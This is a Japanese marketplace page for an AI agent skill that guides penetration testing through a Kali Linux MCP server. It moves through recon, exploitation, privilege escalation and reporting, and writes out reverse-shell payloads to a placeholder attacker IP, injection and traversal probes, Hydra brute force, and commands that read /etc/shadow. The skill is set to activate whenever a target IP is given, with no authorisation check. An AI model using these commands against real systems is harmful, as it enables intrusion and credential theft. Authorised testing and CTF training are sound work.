mcpField
P
penetration-testing

penetration-testing

github.com/timsonnerセキュリティ143 回インストール31 週間前に更新
リポジトリ

penetration-testing について

Kali Linux MCP サーバー環境で動作するAIエージェント向けの、ペネトレーションテスト手順スキルです。段階的な評価、操作記録、実行前のエクスプロイト調査を重視し、脆弱性レポートの構成も示します。

主な機能

  1. 01段階的なテスト手法
  2. 02偵察と脆弱性評価のガイド
  3. 03実行前のエクスプロイト調査
  4. 04コマンドと発見事項の記録
  5. 05脆弱性レポートの要件

活用シーン

  1. 01許可されたセキュリティ評価の計画
  2. 02発見したサービスや脆弱性の記録
  3. 03実行前のエクスプロイト評価
  4. 04修正策を含む評価レポートの作成

MCP 対応

Kali Linux MCP サーバー環境でのペネトレーションテストをAIエージェントに案内します。コンテナ状態の確認や、Kali MCPツールによるコマンド実行にも触れています。

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/timsonner/autonomous-pentest-agent --skill penetration-testing

インストール後、Claude Code で/penetration-testingを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

references/
ATTACK_PATTERNS.md
TOOLS_REFERENCE.md
scripts/
auto_enum.sh

詳細

ペネトレーションテストスキル

このスキルでは、Kali Linux MCP サーバー環境を使用した、プロフェッショナルなペネトレーションテストのワークフローを AI エージェントに案内します。

基本原則

  1. 常に操作を記録する - すべてのコマンドと調査結果を詳細に記録してください
  2. タイムアウトを設定する - ハングを防ぐため、ネットワークコマンドにはタイムアウトを指定してください
  3. まずツールをインストールする - コンテナーにツールがプリインストールされていると思い込まないでください
  4. 手順に沿って進める - 構造化されたテスト手法に従ってください
  5. レポートを作成する - 最後に、脆弱性に関する包括的なドキュメントを必ず作成してください
  6. 悪用する前に仕組みを理解する - 仕組み、動作、リスクを事前に調査して正確に理解せずに、エクスプロイトを決して実行しないでください

前提条件

評価を開始する前に:

# Verify Kali MCP container status
kali-container-status

# Install essential tools
kali-exec "apt-get update && apt-get install -y nmap nikto hydra dirb netcat-traditional dnsutils curl wget"

テスト手法

フェーズ 1:偵察

目的:すべての攻撃対象領域、サービス、潜在的な侵入経路を特定します。

必須手順:

  1. ポートスキャン:
# Quick scan of top ports
kali-exec "timeout 120s nmap -T4 --top-ports 1000 [TARGET_IP]"

# Full TCP scan with version detection
kali-exec "timeout 300s nmap -sV -sC -p- [TARGET_IP] -oN scan_results.txt"

# UDP scan (common ports)
kali-exec "timeout 300s nmap -sU --top-ports 100 [TARGET_IP]"
  1. サービスの列挙:
# HTTP/HTTPS service identification
kali-exec "curl -m 10 -I http://[TARGET_IP]"

# Banner grabbing
kali-exec "timeout 5s nc -v [TARGET_IP] [PORT]"

# DNS enumeration if applicable
kali-exec "dig @[TARGET_IP] ANY"
  1. Web アプリケーションの検出(Web サーバーが存在する場合):
# Install web tools
kali-exec "apt-get install -y gobuster nikto whatweb"

# Directory enumeration
kali-exec "timeout 600s gobuster dir -u http://[TARGET_IP] -w /usr/share/wordlists/dirb/common.txt"

# Web vulnerability scan
kali-exec "timeout 300s nikto -h http://[TARGET_IP] -o nikto_results.txt"

# Technology identification
kali-exec "whatweb http://[TARGET_IP]"
  1. SMB/FTP の列挙(該当する場合):
# Install enum tools
kali-exec "apt-get install -y smbclient enum4linux"

# SMB enumeration
kali-exec "timeout 60s enum4linux -a [TARGET_IP]"
kali-exec "timeout 30s smbclient -L //[TARGET_IP] -N"

# FTP anonymous access check
kali-exec "timeout 10s ftp -n [TARGET_IP] <<EOF
quote USER anonymous
quote PASS anonymous
ls
quit
EOF"

ドキュメント作成:検出したすべてのサービス、バージョン、開放ポートを pentest_log.md に記録します。

フェーズ 2:脆弱性評価

目的:検出したサービスにおける悪用可能な脆弱性を特定します。

必須手順:

  1. CVE の調査:
# Install searchsploit
kali-exec "apt-get install -y exploitdb"

# Search for known exploits
kali-exec "searchsploit [SERVICE_NAME] [VERSION]"
  1. デフォルト認証情報のテスト:
# Common credentials for discovered services
# Web admin panels: admin/admin, admin/password
# SSH: root/root, admin/admin
# Database: root/(blank), postgres/postgres
  1. Web 脆弱性のテスト(該当する場合):
# SQL Injection detection
kali-exec "curl -m 10 'http://[TARGET_IP]/page?id=1%27' | grep -i error"

# Command injection in parameters
kali-exec "curl -m 10 'http://[TARGET_IP]/endpoint?cmd=;id' | grep uid"

# Path traversal
kali-exec "curl -m 10 'http://[TARGET_IP]/file?path=../../../../etc/passwd'"

# LFI/RFI testing
kali-exec "curl -m 10 'http://[TARGET_IP]/page?file=../../../../../../../etc/passwd'"
  1. 自動脆弱性スキャン:
# Install vulnerability scanners
kali-exec "apt-get install -y sqlmap wpscan"

# SQL injection with sqlmap
kali-exec "timeout 300s sqlmap -u 'http://[TARGET_IP]/page?id=1' --batch --level=2"

# WordPress scanning if applicable
kali-exec "timeout 300s wpscan --url http://[TARGET_IP] --enumerate u,p"

ドキュメント作成:特定したすべての脆弱性と深刻度を pentest_log.md に記録します。

フェーズ 3:エクスプロイト

目的:標的システムへの初期アクセスを取得します。

⚠️ 重大:エクスプロイトの事前調査が必須です エクスプロイトを試す前に、必ず徹底的に調査して内容を理解してください。何も考えずにエクスプロイトを実行してはいけません。

必須手順:

  1. エクスプロイトの調査(必須):

エクスプロイトを使用する前に、次の調査チェックリストを完了してください。

  • CVE/Exploit-DB ID を特定する:悪用する脆弱性を正確に把握します
  • 脆弱性の種類を理解する:どのような種類のバグですか?(バッファーオーバーフロー、RCE、SQLi、デシリアライゼーションなど)
  • 技術的な詳細を読む:エクスプロイトが技術的にどのように動作するのかを理解します
  • 標的との互換性を確認する:標的のバージョンや設定に脆弱性があることを確認します
  • ペイロードを理解する:実行されるコードと、その影響を正確に把握します
  • 前提条件を特定する:悪用を成功させるために必要な条件を確認します
  • 痕跡を把握する:どのような成果物やログが作成されるかを確認します
  • 失敗時の対応を計画する:エクスプロイトに失敗した場合に何が起こるかを確認します。サービスがクラッシュする可能性はありますか?

調査コマンド:

# Search for exploit details
kali-exec "searchsploit -x [EXPLOIT_ID]"  # Read the exploit code and comments

# Research CVE details
kali-exec "curl -s 'https://cveawg.mitre.org/api/cve/CVE-XXXX-XXXX' | jq ."

# Check exploit-db for writeups and details
kali-exec "searchsploit -w [EXPLOIT_ID]"  # Get Exploit-DB URL for full details

# Read exploit source code to understand mechanism
kali-exec "searchsploit -m [EXPLOIT_ID] && cat [EXPLOIT_FILE] | head -100"

理解した内容を記録する: 作業を進める前に、以下を pentest_log.md に記録します。

  • エクスプロイト名と ID(CVE/EDB)
  • 脆弱性の種類と根本原因
  • エクスプロイトがコード実行を実現する仕組み
  • 成功時/失敗時に予想される動作
  • 標的環境に合わせて必要となる変更
  1. エクスプロイトの準備:
# Download exploit if needed
kali-exec "wget -T 30 [EXPLOIT_URL] -O exploit.py"

# ALWAYS review exploit code before execution
kali-exec "cat exploit.py | head -50"  # Check exploit header/comments
kali-exec "grep -n 'payload\|shell\|cmd\|exec' exploit.py"  # Identify payload sections

# Make executable
kali-exec "chmod +x exploit.py"
  1. リバースシェルのセットアップ:
# Start netcat listener (in background, document the listener IP:PORT)
# Note: This requires separate terminal or background process management

# Common reverse shell payloads:
# Bash: bash -i >& /dev/tcp/[ATTACKER_IP]/[PORT] 0>&1
# Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACKER_IP]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  1. エクスプロイトの実行:
# Use discovered vulnerability
kali-exec "timeout 60s python3 exploit.py [TARGET_IP] [PORT]"

# Or manual exploitation
kali-exec "curl -m 30 -X POST 'http://[TARGET_IP]/vulnerable_endpoint' -d 'param=[PAYLOAD]'"
  1. 悪用後の初期列挙:
# Stabilize shell
kali-exec "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"

# System information
kali-exec "uname -a"
kali-exec "cat /etc/*-release"

# Current user and privileges
kali-exec "id"
kali-exec "sudo -l"

ドキュメント作成:成功したエクスプロイトの手法、使用したペイロード、初期アクセスレベルを記録します。

フェーズ 4:権限昇格

目的:初期アクセスから root/管理者権限へ昇格します。

必須手順:

  1. Linux の列挙:
# SUID binaries
kali-exec "find / -perm -4000 -type f 2>/dev/null"

# Writable files/directories
kali-exec "find / -writable -type f 2>/dev/null | grep -v proc"

# Cron jobs
kali-exec "cat /etc/crontab"
kali-exec "ls -la /etc/cron.*"

# Capabilities
kali-exec "getcap -r / 2>/dev/null"
  1. 認証情報の探索:
# Search for credentials in common locations
kali-exec "grep -r 'password' /home /var/www /opt 2>/dev/null | head -20"

# Bash history
kali-exec "cat ~/.bash_history"
kali-exec "cat /home/*/.bash_history 2>/dev/null"

# Configuration files
kali-exec "find /etc /var /opt -name '*.conf' -o -name '*.cfg' 2>/dev/null"

# Database credentials
kali-exec "cat /var/www/html/config.php 2>/dev/null"
  1. 自動列挙(アップロード可能な場合):
# Download LinPEAS
kali-exec "wget -T 30 https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -O /tmp/linpeas.sh"
kali-exec "chmod +x /tmp/linpeas.sh"
kali-exec "timeout 120s /tmp/linpeas.sh"
  1. 一般的な権限昇格手法:
# GTFOBins - SUID binary exploitation
# Example: if find has SUID
kali-exec "find . -exec /bin/sh -p \\; -quit"

# Sudo exploitation
# Check if sudo version is vulnerable
kali-exec "sudo --version"

# Kernel exploits (check version first)
kali-exec "searchsploit linux kernel [VERSION]"

ドキュメント作成:権限昇格に利用した経路、使用したコマンド、最終的に取得したアクセスレベルを記録します。

フェーズ 5:目的の達成

目的:フラグや機密データを取得するか、ミッションの目的を達成します。

必須手順:

  1. フラグの発見:
# Common flag locations
kali-exec "find / -name 'user.txt' -o -name 'flag.txt' -o -name 'root.txt' 2>/dev/null"

# Search in home directories
kali-exec "cat /home/*/user.txt 2>/dev/null"
kali-exec "cat /root/root.txt 2>/dev/null"

# Search by content pattern
kali-exec "grep -r 'flag{' / 2>/dev/null"
  1. データの持ち出し(許可されている場合):
# Document sensitive files found
kali-exec "ls -la /etc/shadow /etc/passwd"

# Dump hashes if root
kali-exec "cat /etc/shadow"

記録:見つかったすべてのフラグについて、その場所とアクセス方法を記録します。

レポートの作成

評価の完了後、包括的な脆弱性レポートを作成します。

レポートの必須セクション

次の構成で vulnerability_report.md という名前のファイルを作成します。

1. エグゼクティブサマリー
  • 主な調査結果の概要
  • セキュリティ態勢の総合評価
  • ビジネスへの影響の概要
  • リスク評価(Critical/High/Medium/Low)
2. 対象範囲と方法論
  • 対象情報(IP アドレス、ドメイン)
  • テスト期間
  • 使用したツール
  • 実施したテスト方法論
3. 詳細な調査結果

発見した脆弱性ごとに、次の情報を記載します。

  • 脆弱性のタイトル:明確で説明的な名前
  • 深刻度:Critical/High/Medium/Low
  • CVSS スコア:該当する場合
  • 影響を受けるコンポーネント:サービス、ポート、またはアプリケーション
  • 説明:脆弱性に関する技術的な説明
  • 概念実証:再現するための正確なコマンド/手順
  • 影響:攻撃者が実行できること
  • 修正方法:脆弱性を修正するための具体的な手順
  • 参考資料:CVE 番号、exploit-db のリンクなど
4. 技術付録
  • pentest_log.md に記録されたコマンド履歴の全件
  • ネットワーク図(該当する場合)
  • スクリーンショットまたはコマンド出力
  • 発見した認証情報(レポート用にサニタイズしたもの)
5. 推奨事項
  • 優先順位を付けた修正計画
  • セキュリティ強化のガイドライン
  • 監視と検知に関する推奨事項
レポートテンプレート
# Vulnerability Assessment Report

## Executive Summary
[High-level overview of findings and risk]

## Scope
- **Target**: [IP/Domain]
- **Date**: [Assessment Date]
- **Tester**: AI Security Agent
- **Methodology**: OWASP Testing Guide, PTES

## Findings Summary
| Severity | Count |
|----------|-------|
| Critical | X |
| High | X |
| Medium | X |
| Low | X |

## Detailed Findings

### Finding 1: [Vulnerability Name]
**Severity**: Critical
**CVSS**: 9.8
**Affected Component**: [Service/Port]

**Description**:
[Technical explanation]

**Proof of Concept**:
```bash
[Commands used]

影響: [攻撃者が実行できること]

修正方法: [修正方法]

参考資料:

調査結果ごとに繰り返します。

技術的な詳細

[コマンド履歴と出力の全件]

推奨事項

  1. [優先度 1 の対応]
  2. [優先度 2 の対応] ...

## Common Pitfalls to Avoid

1. **Hanging Commands**: Always use timeouts
   - ❌ `nc [IP] [PORT]`
   - ✅ `timeout 5s nc [IP] [PORT]`

2. **Assuming Tool Availability**: Always install first
   - ❌ `nmap [TARGET]`
   - ✅ `apt-get install -y nmap && nmap [TARGET]`

3. **Incomplete Logging**: Document everything
   - Log successful AND failed attempts
   - Note reasoning for each action
   - Track all credentials discovered

4. **Premature Optimization**: Be thorough before exploiting
   - Complete enumeration before attacking
   - Try multiple approaches
   - Don't fixate on one attack vector

5. **Blind Exploitation**: NEVER run an exploit without understanding it
   - ❌ Download exploit and run immediately
   - ✅ Research CVE, read exploit code, understand mechanism, then execute
   - Always know: What vulnerability? How does it work? What does the payload do?
   - Read exploit source code comments and documentation first
   - Verify target version matches exploit requirements

## Advanced Techniques

### Custom Script Development

When existing tools don't work, create custom scripts:

```bash
# Python port scanner
kali-exec "cat > /tmp/scanner.py << 'EOF'
import socket
import sys

target = sys.argv[1]
for port in [21,22,23,25,80,443,3306,8080]:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(2)
    result = sock.connect_ex((target, port))
    if result == 0:
        print(f'Port {port}: OPEN')
    sock.close()
EOF"

kali-exec "python3 /tmp/scanner.py [TARGET_IP]"
パスワード攻撃
# Install Hydra
kali-exec "apt-get install -y hydra"

# SSH brute force with common passwords
kali-exec "timeout 300s hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://[TARGET_IP]"

# HTTP form brute force
kali-exec "timeout 300s hydra -l admin -P /usr/share/wordlists/rockyou.txt [TARGET_IP] http-post-form '/login:username=^USER^&password=^PASS^:F=incorrect'"
ピボットとトンネリング
# Discover internal networks
kali-exec "ip route"
kali-exec "cat /etc/hosts"

# Port forwarding for access to internal services
# (Requires persistent shell session)

成功の指標

次の項目を達成した場合、ペネトレーションテストは成功です。

  • 包括的な列挙データが記録されている
  • 発見したすべての脆弱性が文書化されている
  • 証拠を示してエクスプロイトの成功を実証している
  • 権限昇格を達成している(可能な場合)
  • 目的を達成している(フラグの発見、データへのアクセス)
  • コマンド履歴がすべて保持されている
  • 専門的な脆弱性レポートが作成されている

クイックリファレンス

必須のワンライナー
# Install base toolkit
apt-get update && apt-get install -y nmap nikto hydra dirb netcat-traditional curl wget exploitdb

# Quick recon
nmap -T4 -p- [TARGET] && curl -m 10 -I http://[TARGET]

# Web directory scan
gobuster dir -u http://[TARGET] -w /usr/share/wordlists/dirb/common.txt -t 50

# Search exploits
searchsploit [SERVICE] [VERSION]

# Python reverse shell (URL encoded)
python%20-c%20%27import%20socket,subprocess,os;s=socket.socket();s.connect((%22[IP]%22,[PORT]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([%22/bin/sh%22,%22-i%22])%27

# SUID find
find / -perm -4000 2>/dev/null

# Writable directories
find / -writable -type d 2>/dev/null

追加リソース

より詳しい技術情報については、次を参照してください。

スキルの有効化

次の場合に、このスキルを有効にしてください。

  • ユーザーが「penetration test」、「pentest」、「security assessment」と言及した場合
  • ユーザーが「CTF」、「hack the box」、「try hack me」と言及した場合
  • ユーザーが対象の IP を提示した場合、またはセキュリティテストを依頼した場合
  • ユーザーが「vulnerability scan」または「exploit」と言及した場合
  • ユーザーがフラグの発見または root アクセスの取得を依頼した場合
  • ユーザーが Kali Linux またはセキュリティツールと言及した場合

有効にしたら、方法論の各フェーズを順番に実施し、評価全体を通して詳細なログを維持してください。

コメント